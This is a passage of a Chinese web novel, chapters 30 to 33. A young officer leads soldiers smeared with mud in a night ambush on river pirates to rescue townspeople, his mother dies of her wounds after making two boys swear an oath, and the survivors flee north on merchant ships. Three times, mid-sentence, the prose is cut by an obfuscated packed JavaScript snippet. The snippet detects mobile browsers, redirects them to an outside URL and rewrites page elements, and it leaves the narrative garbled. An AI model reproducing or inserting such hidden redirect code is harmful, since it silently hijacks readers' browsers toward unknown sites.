男人们更是愤慨,民众中爆发出愤怒的喊声:“操!跟他们拼了!” “拼了!” 他们和水寇们扭打在一起,已经分不清敌我了。可惜百姓不会射箭,也不会用火铳,抢了火铳也只能当棍棒,对准那矮子的脑袋拼命敲。 看似形势大好,可就在此时,只听得城墙上一声外邦喊话,紧接着冲下来数百余人。 都穿着甲,拿着长刀。 那么多人,躲在城墙上,就等着城中百姓大批冲出,再后发制人,一把清扫。 只一瞬间,情形完全反转,即使人数差不多,他们对着拿着长刀的兵,也没有胜算。 没人再敢多留,转身撒腿就跑。 心如死灰,这该怎么办?还能跑吗?往哪跑呢? 赵蓉的脚崴了一下,那大石头就滚到了她面前。 夏辛和两个妓子合力将她拉开,可石头上突出的尖刺,还是擦过了她的腹部。 好疼,她想捂住肚子,手却又被夏辛攥住,拉着她跑。 去哪儿?不知道,但要带着夫人一起。 生也一起,死也一起。 死了,他二爷找到他,会知道他死前都一直护着夫人,活着也和夫人一起,把二爷的娘亲,全须全尾的还给二爷。 就在看似死局之时,不远处的山林里,传出一声哨响。 接着有马奔来! 30. 什么东西? 是一匹纯黑的马和一匹普通的棕马,火很亮,能看到棕马身上涂抹了许多黑泥巴。若再暗点,也能被看作是匹能隐在夜色中的黑马了。 马身上,人身上都涂满了黑泥,辨不清长相,味道都像是从土里挖出来的,臭烘烘的。 虽只有两人两匹马,可还没到眼前,马背上的箭就射来了。 其中骑黑马者搭弓速度之快,箭矢之准度令人胆寒,可谓是箭无虚发,一搭一射,就是正中项上人头。 再近些后,收弓,抽出了挂在马侧一人多高的斩/马刀。 斩/马刀原本是步兵用刀,且是专门对付骑兵的兵器。因刀长而锋利,刀身厚重,可斩马而得名。 骑兵常用的马刀更短更轻,鞑子骑兵们惯用双手弯刀,灵便锋利,在马背上耍得开。但威力远不及又长又重的斩/马刀。 薄刃都易卷,斩/马刀更耐砍。 但对使用者要求高,能在马背上把斩/马刀用到炉火纯青的人,必定身高臂长,健硕强干,下盘能稳住马,长臂能控住刀。 故而骑兵几乎不用斩/马刀。 骑黑马者砍杀入内,勇猛凶悍,斩/马刀一动,挡路者必定血溅当场。 他今日没什么兵器好选,他要能一刀毙命震慑敌军,还要砍穿敌阵而不卷刃,更要旁人无法近身,斩/马刀是不二之选。 突如其来闯入的人,让水寇们慌了阵脚。 水寇们火器多,但几乎没有骑兵。 因为他们本土的马匹较为矮小,耐力不错,但突进能力较弱。 近几年与外种马配种后,繁育出较高大,作战性强的马匹,但数量不多,可说是十分珍贵。 能可装备铁甲用于骑射作战,但还未大成,且运输是个难题。 部分马匹晕船,尤其是与外种马配出的杂交马,有近八成都会晕船。 马本就是养在开阔地,需要奔跑的动物,自太栉国渡船到晏江海岸,按顺风的来算,都需七到十日。若海上有暴风雨,则需更长的时间。 马被关在船舱里时间太长,死亡的几率会增加。 晕船的马匹虽不会吐,但会四肢无力,走起来不稳,更别说跑了。 这样的马下船后无法立即投入战斗。 故而水寇们至少需要在陆地上站稳一个据点后,再将马匹运来,给足马匹充足的休息时间,待它们恢复正常后,才能投入战斗。 而骑兵,具有以一敌百之力,更有骁勇者可突进敌营,直取敌将首级。 他们更迅速,箭和铳,几乎打不中飞驰的马,马到跟前时,自高大的马背上砍下的马刀,更是又快又锋利。 且马已冲入兵阵,用炮会炸死自家的兵,用铳还没填好弹,首级就已落地,故而火器在训练有素的骑兵面前,几乎无用武之地。 可骑兵供养不易,火铳和火炮的声音,会惊着马匹。故而能上战场的马,平时训练时,还需让它们听惯了炮声,才能在冲锋时,不退缩。 高琰喜欢用炮阵,和铳阵。因为他们兵少,但炮足。 抢滩时水寇们往上冲,他们只管用火炮轰过去。 故而水寇们和大渊的军队作战,只知道火炮厉害,待到近身或在城内巷战,就需步兵拼刀,马在巷中跑不开,那几匹漂亮的大高马,全驮着将领装样子。 故而水寇们根本没见过如此骁勇的骑兵。 骑棕马的稍次一些,可在受惊的水寇们眼中,已是看不出什么区别了。 赵蓉瞧着那马,那人,立马认了出来。 “是翊儿!” 骑在棕马上的是孔祥,他跟在高承翊后面,用马踩人,用刀突刺。 还冲着百姓大喊:“大家跟着我跑!跟着我跑!” 他说完,调转马头,往他们计划好的方向引路,期间还抓了个小个子,按在了马背上。 人群有了方向,都跟着他跑。 后头有成队的水寇步兵们去追,还朝人群射击。 此时就见,原本的草丛里,树木后,甚至是土坡后边,还有不远处的黑暗的山里,冲跳出来一堆黑漆漆的人。 咆哮着拿着刀,冲向水寇。 那马上的煞星已经够吓人了,这会儿突然跳出的黑色人影,更是可怕。 什么东西?像人更像鬼。 水寇兵们也都是些平民,丘八们大字不识,且他们那边人普遍相信鬼神之说。 大渊的军队还没到,就算到了,也会是穿着战甲,军容肃穆的战士,而不是全身漆黑,从山里跳出来的东西。 难道是野人? 或许幽灵恶鬼? 是他们白日里杀掉的人变成的鬼,在夜里找他们索命。 在他们完全不急反应的时候,以狰狞的面目出现在他们面前,把他们一同拉进地狱。 水寇兵们吓傻了,那马上的是谁?是高琰鬼魂吗? 一把斩/马刀横过来,能削掉三四个人的脑袋。 即使队长再喊着突进,攻击!攻击! 也没人敢再上前。 他们不上前,可那群‘鬼’却已经到了眼前,胆子小的要往后跑。 他们是撵在水寇们的背后杀的。 杀得尽兴,杀得痛快,杀得一个不留。 高承翊在小柳河冲天的火光里立马横刀,看见了远处火未蔓延到的地方,有一队船。 三艘,一艘稍大些,两艘小的。 有几个骑马的人,从那方奔来,马上插着旗帜,是汉字。 孔详也回来了,他带着守备军们入城趁水寇们没发现前,将附近的百姓救出。 高承翊在原地,等那几个骑马的人靠近。 那几人在远处看了一会儿,看清楚了是在疏散百姓,才敢近身。 一人上前,把马停在二十步以外。 高承翊冷哼了一声:“怎么,这样我就追不上你?” 马上人身形修长,戴帽敷面,穿着男装,高承翊还以为是个男人,开口确是女人的声音:“你们是什么人?” 高承翊看她身后的旗帜,写着「唐」。 “斛州唐家的商船?” 那女人点头。 高承翊问:“打算来抚州卖货?还是去靖江港口出海?” 那女人觉得他们这点底儿全给他套完了,自己还对这脏兮兮的骑着马的男人一无所知。 她不回话。 高承翊道:“抚州被水寇占了,你们快回去吧,这儿不安全。” 女人骑马靠近:“我刚刚在远处看见了,你们是抚州城的兵?” “算是吧。”高承翊道。 女人道:“我叫唐若,是唐八爷手下的人。” 斛州唐家生意做得大,唐八爷的名字,高承翊听说过。 高承翊没打算报名字,他刚刚在人群中看见了赵蓉,这会儿心稍定了下来,正守在这儿,等孔详他们出来,自己断后。 唐若见他不语,便道:“我们的船可以帮你们运些人去北边。” 高承翊这才正视她。 “我的船过来,就是为了来看看情况,能救一个是一个。”唐若道。 “你不坦诚。”商人都是重利的,她虽有心来看看,但没有出全力,甚至一半都没有,“唐家出海的船上有火炮,还有护船的护卫。你只带那三艘小船,能运几个人?” 唐若有些心虚,她不能让商船涉险:“我们的船是做生意的,装备火炮是为了对付海上的海贼,朝廷并未征用唐家的船作战,我也没资格,未经禀报,动用唐八爷的船。” 高承翊懒得再搭理她。 唐若道:“我会让船停在晏江和小柳河交汇口的岸边,你们带人过去,我带你们北上。” “你们的船能装多少人?”高承翊问。 唐若道:“三百左右,但若无战事,我可让船多跑几趟。” 高承翊点头:“行。” 士兵们正往外带着百姓,唐若道:“现在也可运些人,让他们跟我的小船走。” 出乎高承翊意料的,唐若也跟着士兵们进了城,她似乎是在找人,大约是把附近全走了一遍,士兵们都已经出来了,她才骑着马最后一个离开。 她没找到想找的人 唐若带走了八十多人,走前实在没忍住:“你们为何,都这样?” “嗯?” 唐若:“涂黑泥?” 孔详听见了,大嗓门道:“不这样,能打这么快吗?” 这是高承翊想出的法子。 他们在山里休息了一个时辰左右,士兵们就坐不住了。一个个的都想立即去东门那边救人。 大家都想去,便就又动身过去。 高濯衡不愿等,也要跟着,高承翊也不想再和弟弟分开,他想的也是要死死一起,若把弟弟留在这儿,他在外心也不安,若是再出了什么意外,他必定抱憾终身。 便将二宝放在马背上。 士兵们都是壮年,吃了些东西,心里想着救人,脚步也更快些。 又有个人形舆图张廷皓,故而他们刚过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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高承翊道:“他们不知道我们埋伏在这里,夜袭冲出去。” 张廷皓道:“太黑了,根本看不清楚。” 高承翊回头看了一眼后边的人,若说他们个个都敢往前冲,是不可能的。 他们当时在城墙上,是身不由己,逃兵被抓,是要处死的,弟兄们死在身边,在那种血肉横飞无路可退的时候,被激起了同归于尽的血性。 如今刚捡回了命,想想必然后怕。逃兵都已经当了,这回来原本也只是想偷偷摸摸的救人,根本没想过会正面遇敌,还需冲锋陷阵。 他们只是不说,不代表士气高涨。 是啊,该怎么打,这问题横在了高承翊面前。 城墙上有多少人?到底该不该打? 此时,高濯衡开口道:“用火箭把他们倒在水里的猛火油点着,就能看得见了。” 他是在回答刚刚张廷皓的问题。 “可那样,我们也会暴露。”孔详道,“看得清清楚楚,我们和逃出来的百姓可就是活靶子了。” 高承翊抓了把地上的泥,往自己的脸上和身上涂抹,还将水囊里的水倒出来和稀泥,把头扎里头滚着涂。 宋遥:“魔怔了?” 他把宋遥的头也按了进去,宋遥呜呜着挣扎:“我去!!你疯了啊?” 高承翊道:“我没疯,去找泥,找粪,越黑的越好。” 宋遥:“干什么?你…你还涂屎啊?” 高承翊盯着城门口,嘴上一点不跟他客气:“你现在自己涂,还能涂上泥,等我给你涂,没准真的只剩屎了。” 他没往后看,命令却下得铿锵有力:“所有人,涂上泥土伪装,越黑越好,越不像人越好,咱们悄悄的,埋伏下去,漆黑的跳出来,吓死他们。” 河边的人是高濯衡看见的,小孩子眼睛亮,他一指,其余人也都发现了异样。 “是时候了。”高承翊道,“我先冲下去,若有伏兵,肯定能骗出来。你们找地方躲好,听孔详号令,到时候跳出来,打他们个措手不及。” 士兵们四散埋伏,等待片刻后,孔详吹了一声哨,是叫士兵们躲好,也是让高承翊射箭。 他用燧石点了火箭,往河面上射去,战火燃起。 紧随其后,士兵们的斗志也被高承翊精湛的骑射点燃了,他们看在眼里,这个人太强了,强到似乎一个人就能杀穿这里的整支水寇队伍。 故而在听到孔详号令之时,在看到如此多的百姓等待救援之时,他们全都冲了出来。 事实证明,他们这副人不人鬼不鬼的样子,真有效果。看着哪些水寇震惊又胆怯的表情。 士兵们知道,跟对了人,打对了仗,他们能杀,能报仇,能救得出人! 31. 誓言 夏辛牵着夫人,带着姨姨们跟着那棕色的马跑。往林子里,往山里,接着就看见个小小的身影,往他这边奔过来。 “是衡儿…”赵蓉的声音听上去有些低哑,她的左腹部太疼了,都跑了这么久,还没有缓解,反而越来越疼,她想肯定被撞青紫了。 夏辛也看见了高濯衡。 高濯衡更是在黑夜的人群里,精确的找到了他们两人。 “娘亲…夏辛!” 是他二爷的声音! 夏辛慢下脚步,如释重负的松开了牵着赵蓉的手。高濯衡还在往他们的方向跑,按常理来说,孩子肯定是奔向母亲的,夏辛也是这么想的。 他的阿娘死了,幸好夫人还活着。 但看着高濯衡的身影越来越清晰后,夏辛难以抑制的想去抱住他。 他眼眶又湿了,他有好多好多委屈要和二爷说,他娘死得惨,死的冤,死的苦!他想躲进二爷的被窝里,闻他身上的香味,跟他去说。 想让高濯衡用手抚摸他打卷儿的头发,听他轻声的安慰,从他怜悯的目光里,获得怜爱。 这是他们昨晚还触手可及的日常。 只短短一日,已经物是人非。 他心里破了好大一个洞,疼得他想死。 于是在对上高濯衡那双眸子后,夏辛无法自控的向前奔去,张开双臂,死死地抱住了他。 他将脑袋全压在高濯衡的肩膀上,呜呜地哭出了声。 高濯衡也将他抱住:“夏辛…” 高濯衡不想哭,可忍不住哭腔,他为白日的分别而忧惧,又为这份没想到的重逢欣喜。 今日经历太多,所动情绪太多,已致他不知该如何应对,只一味地抱着夏辛。 真是太好了… 哥哥也在,夏辛还也在! 娘亲…也… 高濯衡抬眼去看赵蓉,却见赵蓉的身形歪歪的,她捂着左上腹,皱着眉,然后一软,倒在了地上。 “娘亲!” 夏辛回头:“夫人!” 孔详听到高濯衡喊娘亲,便下马赶过去查看。 两个孩子也跑到了赵蓉身边。 “她是你娘?”孔详问,“高总督的夫人?” “嗯。”高濯衡跪坐在赵蓉头侧,让赵蓉枕着他的腿,“娘亲是太累了吗?” 身上不是分开时的那件织金袍子,这样凑近看,母亲的脸色也十分苍白。 赵蓉呼吸有些急促,她的上腹很疼,她想坐起来,把身体折着,应该能好受点。 跟着夏辛的妓子们心思细些,察觉到后立马来帮衬,还找了块大石,扶赵蓉过去靠着。 孔详见她还捂着肚子,便问:“夫人可是被伤到了?” 赵蓉点头:“刚刚…那绑着木刺的大石,自我身边滚过,夏辛拉了我一把,木刺并未撞上,是擦着过去的,想来应是破了,有些疼,还…似乎觉得喘不上气。” 人群还在往山里跑,只有少部分人,停了下来。孔详马背上那个被他拎上去的小个子跳下了马,走了过来:“我学过些医理,让我看看。” 是那个一直跟着她母亲的小姑娘。 她跪蹲在赵蓉身前:“夫人,我叫邵一苇。” 赵蓉点头:“你娘呢?” 那个带她们从地沟里出来的渔女,就是她娘。 邵一苇道:“我本和她在一起。”她看了眼孔详,“这位…军爷将我拎上马了,我娘跑得慢了些,想来等会儿也能跑进来。” “嗯,那就好,都在就好。”赵蓉道。 “我虽年纪小,但自幼在医馆内看祖父与父亲行医,还未识字就会识药了。”邵一苇解释着,好让赵蓉放心,“这里条件简陋,也没有更好的大夫了,我和母亲多亏了夫人才能逃出来,让我为您看看伤吧。” 赵蓉道:“哪里,若无你母亲,我在地沟里,就出不来了。” 赵蓉的护卫们跟着守备军将士进城救人了,孔详见这边也无特别,女人看病他不好多留,便也上马往城中去了。 邵一苇让女人们围成一个圈将她们两人护在里面,既防风,又不会让路过的人瞧见。 赵蓉解开衣襟,掀开了小衣的衣角,邵一苇从袖中拿出用油纸包着的火折子,那火折子外头有些潮,邵一苇将它放在嘴边吹了吹,亮了起来。 有个妓子也拿出她的火折子来,两个一起对着看,能将腹部照得十分清楚。 紫了一大片,这个位置非常不妙。 赵一苇四指并拢,轻按下触诊,赵蓉痛叫了一声。 赵蓉皱着眉头,就这一下,疼出了一身的汗,下唇都在发抖。 高濯衡将母亲脸色的变化看在眼里,心凉了半截。 他凑前去看,虽是母子,十岁正是半大不小的时候,是不该去看母亲肚子的。 可这边没来得及遮挡,高濯衡看见了那满腹的紫红,有个妓子上前要将他拉开,高濯衡抬头问道:“是不是更红了些?” 原本紫色的地方,就这片刻,已经发黑了。 赵蓉也低头去瞧,她本以为至多是肋骨断了,可如今看来… 她将衣襟合上,闭目叹出一口气。 真的很疼,还能清楚的感觉到进气儿少出气儿多。她想多吸两口气儿,可但凡多用些力,前胸、肺部,全都跟着疼。 她又抚上了腰侧的匕首,真不甘心,都已经出来了。 邵一苇收起了火折子,转身站去了一边。 大夫都不说话了,想来是无法医了。女人们见此状况,也是心知肚明,无人再问。 高濯衡的脸上被滴上了一滴水,他跪下后,细密的小雨撒在他肩上,像是老天爷也不忍,在落泪了一般。 此为不幸,还是幸呢? 幸而能见上最后一面,不幸是才刚重逢,失而复得,便要再历永别。 才刚刚拼好的纸,被撕了粉碎。 妓子们散开,夏辛跑过来,相比起他刚刚看见的赵蓉,脸上又苍白了不少。就算他不懂医也知道,定然伤得很深。 “怎么…怎么会这样!”夏辛已然慌乱了。 刚刚是阿娘,现在是夫人… 都在他眼前,他一个都没护住… 他抽噎着,用袖子抹眼泪:“怎么会这么严重?” 赵蓉摇摇头,伸手想牵住夏辛。 夏辛站着,没有上前:“我去把…把大少爷找来。” 他说着就要转身跑。 “夏辛!”赵蓉叫住他,“你回来,夫人有话跟你说。” 夏辛站住脚,他不敢回头,不敢去看赵蓉。短时间内两个重要之人生命的凋零,让他无法直面。 他在自责,为什么没有保护好夫人。 夏辛,你真没用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101044|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …你真没用! 高濯衡站起来,拉着他的手,把他拽到了赵蓉面前,两人一同跪了下去。 赵蓉将两个孩子的手牵过来,叠在一起,放在她的手心,又用另一手覆盖上。 她道:“夏辛,你看着我。” 夏辛那双淡眸这才望向她,这一眼看过去,泪就更多了:“夫人,对不起…二爷…对不起,对不起…” “傻孩子,关你什么事呢,你什么都没有做错。”赵蓉道。 “如果我可以再跑快点,如果…如果刚刚我早些将你拉开…” 赵蓉摇头:“若没你,我已经被石块压死了。这与你没有任何关系,往后也无需因此自责。” 她为夏辛拭去脸上的泪:“你阿娘的事,也同样,无需自责。不要去想如果,不要用已经过去的事情,惩罚你自己。那是你阿娘和我都不愿见到的。” 她深深的看着眼前的两个孩子,他们之间那自襁褓中就产生的纠葛,只有她知道。 “夏辛,你以后…要好好护着你二爷。” 夏辛猛猛点头,他不愿再让重视的人死在他眼前,如果有人要杀高濯衡,必须踩着他夏辛的尸体过去。 “他…对你是真心实意的。”赵蓉继续说着,“情谊和真心,是这世上最珍贵,最难得的东西,你们这样小小年纪,就已经得到了,便要好好珍惜。往后日子长,有风浪一同去担着,有事就一起去抗下来。若有分歧,误会,便一定要想想夫人今日与你们说的话。” “夏辛啊,你娘把你教得很好。你娘,是个好女人。” 夏辛:“嗯。” “你性子直,不会耍心眼儿,做事勤恳。”赵蓉道,“若是放在原来,你是我最放心的。可如今,我最放心不下的是你。” 她道:“翊儿已经长大了,他懂得多,会的多,当娘的忧心到九十九,可我到不了九十九,今日就要走了…” 他看向高濯衡:“衡儿最是精明,一个孩子,比许多大人都聪明。” 最后又回到夏辛:“世道乱了,今后你们没有太平日子可过,夏辛你要记住,这世上你能完全托付,信任的人,只有高濯衡和高承翊。你要学着防着人,算着人,才能保全自己,知道了吗?” “知道了。”夏辛抽噎着,雨虽不大,但他们的额发全被打湿了。 脸上也是,雨水混着泪水,分不清是雨更多些,还是泪更多些。 赵蓉:“衡儿聪明一些,你要事事为夏辛多想三分。” 高濯衡点头:“请母亲放心。” “好孩子。”他将两个孩子的手握在一起,“永远不可起异心,不可有隔阂。分歧要放在台面上说清楚,凡事为对方退一步,要拧成一股绳,才能在往后的乱世中活下去。” 两个孩子同时点头,他们在雨夜里,在黎明前,跪在母亲面前,立下永恒的誓言,并用余生去践行。 说完后,赵蓉才松开夏辛的手,她还有话和高濯衡说。 夏辛自觉的往城楼那边跑,他要把高承翊带回来,见夫人最后一面。 赵蓉揽过高濯衡的肩,让他的头靠在自己的肩膀上,这样半搂着,就像母亲夜里把孩子抱在怀里,唱着摇篮曲。 她的声音很小,在高濯衡耳边,在沙沙的细雨声中,是只有他们彼此能听清的声音。 她问:“你看到了夏辛腰侧的金鳞吗?” 32. 逝者已矣 高濯衡点头,他在赵蓉的手心里写下了一个‘李’字。 赵蓉几乎是三言两语就将往事尽述遍了。 很短的几件事,却让两个孩子的人生,发生了翻天覆地的改变。 “或许你再回去,能寻到你的亲生父母。”两人对望着,高濯衡能查觉到她的生命正在快速消亡,说话声越来越小,吸气声越来越大,“但我希望你,不要回去…至少…现在不要。” 赵蓉是想找些理由来劝说高濯衡的,她觉得亲生父母对于孩子来说,有天然的吸引力。 他知道了,就一定想去找回去,想去看一看。 但如今事态混乱,前途未卜,也不知那家人现在过得怎样,半大的孩子回去,家里能有他一口饭吗?往后还能读上书吗? 再就是夏辛,一朝身份反转,他才死了母亲,是否能接受这样的变故。 高琰说燕王很喜欢高濯衡,要将他认回去,燕王认的人是高濯衡,而非夏辛,这样一来,是否有欺瞒王爷之罪? 这两个孩子,该何去何从,还有她最担心的人——高承翊。 她撑着要开口,却被高濯衡抢先一步打断:“我知道…夫人放心,我不会去的,在我没有把握的时候,我会死守这个秘密,也会…尽我所能保护夏辛。” 夫人… 赵蓉一直是没有流泪的,可这两字从高濯衡嘴里说出来后,赵蓉的眼睛里一瞬间竟蓄满了眼泪。 她曾是想刻意疏远这个孩子的,因为她对高琰对燕王有恨。 可与这孩子十年的朝夕相处,都是血肉之躯,又如何能不动真情? “是我不好,是我…薄待了你,我…我该再多与你亲近些,再…再多对你宽厚些的。” 高濯衡将那喷涌而出的眼泪看得清楚,他立马明白自己当了混账,说错了话。 他抬手时一直在抖,慌乱的擦着赵蓉的眼泪:“娘亲…娘亲我错了,我错了!娘亲…” 赵蓉猛地抱住他:“你怨我吧,恨我也行!可…可答应我,千万不要将你的身世告诉你哥哥。至少现在,千万不能!” “好。”他也紧紧的将母亲抱住,似乎这样就能把时间停住,他抱得越紧,母亲就不会离开她。 “抚州一夕巨变,高琰在京城…必定也是凶多吉少。”赵蓉道,“你哥哥…他才刚刚长大啊,看上去是个大人,可时常有孩子心性” 孩子在母亲眼中,无论几岁,都是孩子。 “他又是个…那么重情义的孩子…我此番一走,我怕他…会想不开。衡儿,你哥哥他…他最疼你了,只要你还在,他必定会为你撑着。所以,千万不可以告诉你哥哥!答应母亲,好不好?” 父亲生死未卜,母亲死在眼前,爱护了十年的弟弟不是亲生的,他甚至没有弟弟。 “好。”高濯衡点头:“衡儿必定谨记。” 以往总有万般刻意的远离,可今日在城门前,高濯衡感受到的是真切的慈母之心。 她非完人,她并不能每日拿杆称,将爱意平分给每个孩子。 相反,她一直是想逃离禁锢的,于是她总在怀疑自己,是否太自私太软弱,逃走、离开,是对母亲身份的背叛。 她是母亲,可也是个人。 人都会有私心,也该有私心。她总觉得自己无法平衡,母亲当的很不称职,尤其是高濯衡刚刚那句‘夫人’说出口时,让她极为后悔和愧疚。 有些人的爱在毫无波澜的生活中,是不明显的。尤其是生活富足,什么都不缺的时候,她不去腻着,也不挂在嘴边说,她端着架子,她说教,她立规矩并予以惩罚。 她从不准备生辰礼。 可每个时令,高濯衡总能吃上他喜欢的食物,府中因有赵蓉管家,所有的一切都井然有序。 有新料子,给高承翊做身新衣,也必定有高濯衡的一件。 哥哥宠着弟弟,她虽怕太过娇纵了小的,却仍睁一只眼闭一只眼的纵容。 她定时会去查问孩子们的功课,天凉加衣,天热祛暑,早晚加餐,点点滴滴里,都有她。 当大难临头时,也是她,用女子柔弱的身躯,撑起了两个和她毫无血缘关系孩子的生路。 此何尝不可谓大义与大爱? 头顶有春雷炸响,小雨越下越大,山林间没有屋子遮蔽,所有人都被雨水浸透。 “若高琰能活下来,还在朝为官,他会护着你们。”在生命的尽头,为娘的还在为她的孩子们考虑。 这近二十年的夫妻,让她和高琰既疏远,又对彼此极为了解。 她眼见他所为,论为官造福一方,高琰是做到了。 若非高琰重修了地沟,今日赵蓉也出不了城。 为官者所求,是用手上的权利,为民去谋,为世人去做一些几十年或几百年后,史书里能记下的事,落个当世有为的好名声。 可如今…她这位近二十年的丈夫,还能有好名声吗? 最可怜的,还是他的翊儿啊。赵蓉如是想着,却无法再为高承翊做任何事了。 “但若高琰也不保了,”赵蓉把沈驰的刀递给高濯衡,“夏辛可回冀州,祖父必定会照顾他。你…若燕王真认你回去,你就…回去吧…” “至于翊儿。”赵蓉道,“若此罪责,真牵连到他,无路可走时,可逃去隆州,找…沈驰。” 她神智有些迷离了,她想最后为孩子铺上一段路,让他们好在乱世中,能走下去。又特别想在死前能见到沈驰。 可以高承翊的傲气,再如何无路可走,也绝不可能去找沈驰。 高濯衡接过刀,上面沾了雨水和泥:“沈驰是谁?” 他的声音在赵蓉耳中听着特别远。 渐渐的,她已经感觉不到疼痛了,赵蓉觉得自己轻飘飘的,好像张开手臂就能飞起来。 女子的一生都被禁锢着,纵使她生于高官之家,也从未能做过自己的主。 好不容易做了回主,拿到了和离书,可她…却走不出抚州了。 “娘亲!娘亲!” 高濯衡的人影在她眼中逐渐模糊了,分明离得那么近,她却看不清。 高濯衡慌乱的支起身子,他想站起来看看哥哥怎么还没来,可他一动,赵蓉的身体就支不住的往下倒,他抱住赵蓉:“娘亲你…你别睡!你…你别睡了!哥哥他马上就会回来的!夏辛已经去找哥哥了!你…你再…你再跟我说说话好不好?娘亲!” 好黑,天怎么会这么黑呢? 一点光都没有了,赵蓉睁着眼睛想看看清楚。 是不是有马蹄声?林子里马跑不开啊。是翊儿来了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101045|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 高承翊将夏辛拎上马背,往树林里疾驰而去,砸落的雨水洗净了他脸上的泥污。 山里的林子太密了,他下马往里跑,脚踏进泥坑里,湿软的陷进去,每一步都跑得沉重,为了更快些,他翻山插近路,手脚并用的爬过去。 那算是最后一面吗? 高承翊总是想起这天,他冲上前握住了赵蓉的手,颤抖的喊出那声:“母亲。” 紧接着他握住的手,就软了下去。 他不知道母亲是否听到了他的声音,是否看见了他。 夏辛没高承翊快,他拖着伤腿,落在后头。 待他跑来时,高承翊已将赵蓉衡抱在怀里,他用身躯给赵蓉挡雨。 高濯衡则是跪在地上,半身前倾抱着赵蓉,头靠在母亲的肩上。 他们哭声不大,尤其是高承翊,他几乎没发出声音,雨声都更大些,可身体抖得厉害。 只有离得最近的高濯衡知道,大哥落了多少的泪。 高承翊的额头又开始淌血,背上也是,雨水沁入狰狞的伤口中,那似针扎刀剌火辣辣的痛感都不及心里来的疼。 太疼了,真的。 明明刚刚还见她好好的,一个人突然的…就这样,在瞬息之间,永远的离开了他。 夏辛也跪在雨里,朝赵蓉磕着头。 女人们围了过来,还有邵一苇,她母亲正站在她旁边。 一个女人上前道:“想个法子吧,你们这样淋雨,会生病的,当娘的都不想孩子生病。” 她没当过娘,这一生可能都做不了母亲,但同为女人,却能理解这份苦心。 还有女人去把夏辛拉起来,夏辛不愿,执意要跪着,她便劝道:“孩子,你打小身体不好,柳絮重了都能让你喘不上气儿,你娘为你这毛病,不知花了多少银子买药。她要知道你在这雨里跪着,得多心疼啊。”她说着说着,都不忍带了哭腔,“这…往后还不知怎么个去处,你要是…在这儿病了,咱们上哪儿给你找药去?快…快起来。” 邵一苇道:“我这话不好听,可逝者已矣…” 母亲死去,可她的孩子们连为她悲伤的时间都没有。 【赵蓉 完】 高濯衡松开了赵蓉,他走向夏辛,将夏辛扶了起来。 高承翊背起赵蓉:“让无处可去的人跟着我走。” 邵一苇问:“往哪去?” “斛州唐家的船,在晏江和小柳河的交汇处,大伙儿可以跟着他们的船,去北边。”高承翊道,“过运河,渡岷江,水寇们打不过去。” “那…我们什么时候,能回抚州?”有人问。 高承翊没心情解释,他一直垂着头:“我不知道,若不想去,也可不去。” 逃命何曾能决定去哪里,只有到了地方,才能再去想下一步。 将士们此时也回来了大半,百姓们能跟船北上,可他们是逃兵,都不知是否也要跟着过去。 孔详他们想和高承翊商量,可见他如今这幅样子,都不好去开这个口。 只得往前带路,雷雨一阵过去后,是持续的小雨。 他们裹着湿衣服冒雨行走,女人们冷得直打颤儿。 在黎明时分,走到了地方。 唐家的船队停靠在晏江上。 33. 吃不惯也得吃 唐若分了他们一艘船落脚,算是有了个遮雨的地方。 孔详在听邵一苇母女俩说她们是从地沟里逃出来之后,就去找张廷皓商量钻地沟进城去救人的可行性。 张廷皓考虑良多,万一水寇们有所防备,或者加强了东门的看守,他们很有可能出不来。 再有便是进了城,无可避免就会分散开,谁都想回家去看看,到时是等集合一起出来,还是各自走各自的,皆是没准儿的事。 且无论是哪种,风险都很大。 他因个人兴趣研究过城内地沟的走向,但以邵氏母女所言,很多地方都因路面被炸塌导致地沟堵塞,还有尸体造成的堵塞。 如今是春末,那些尸体,大约两日就会腐烂发臭。地沟中本就是污水,再被血水和尸水混着,遇上要淌水潜行的地方,人在那样的水中憋气,是没法睁眼的,就算睁开眼睛,也看不清路。 如此来上一遭,那眼睛也是废了。 身上沾了腐尸的脏水,那可是会要命的。 张廷皓把他的想法阐述后,中肯的说:“依我之见,还是埋伏接应,再派少数人到邻近城门处搜寻,切不可再深进。” 孔详想去问问高承翊的意见,却已经找不见人了。 天亮后就不下雨了,女人们让孩子们把外衣脱下来,她们拿去河边清洗,至于内衫,因为没有多余换洗的衣服,只能坐在河滩边,等太阳把身上晒干。 夏辛不知从哪找了个小桶,帮高濯衡洗头发。 高濯衡问:“怎么还有胰子?”还怪香的。 夏辛道:“那个围着面巾的女人给我的,姨姨们说,等她们的衣服干了,就给夫人也洗一洗。” 唐若在小柳河的女人里看到了几个故人,却没见到夏娘。 她此前进城找,也没找到。 这些年她是有去过抚州的,但从未回过小柳河。听闻抚州城破之时,她恰巧在晏江上。 他们的船队自靖江的港口,过运河,打算南下,去西南运粮。 笠安原本被京城腹地之人当做蛮荒边土,酷暑潮湿不宜居住,若有官员被指派去笠安,家里都要连哭三天,再磕头跟父母拜别,才艰难赴职。 却在赵谨手上成了鱼米之乡,梯田上种出的稻谷,颗粒小巧却品质上乘,一年熟三次,交了赋税还有不少余粮,米价比江南还低。 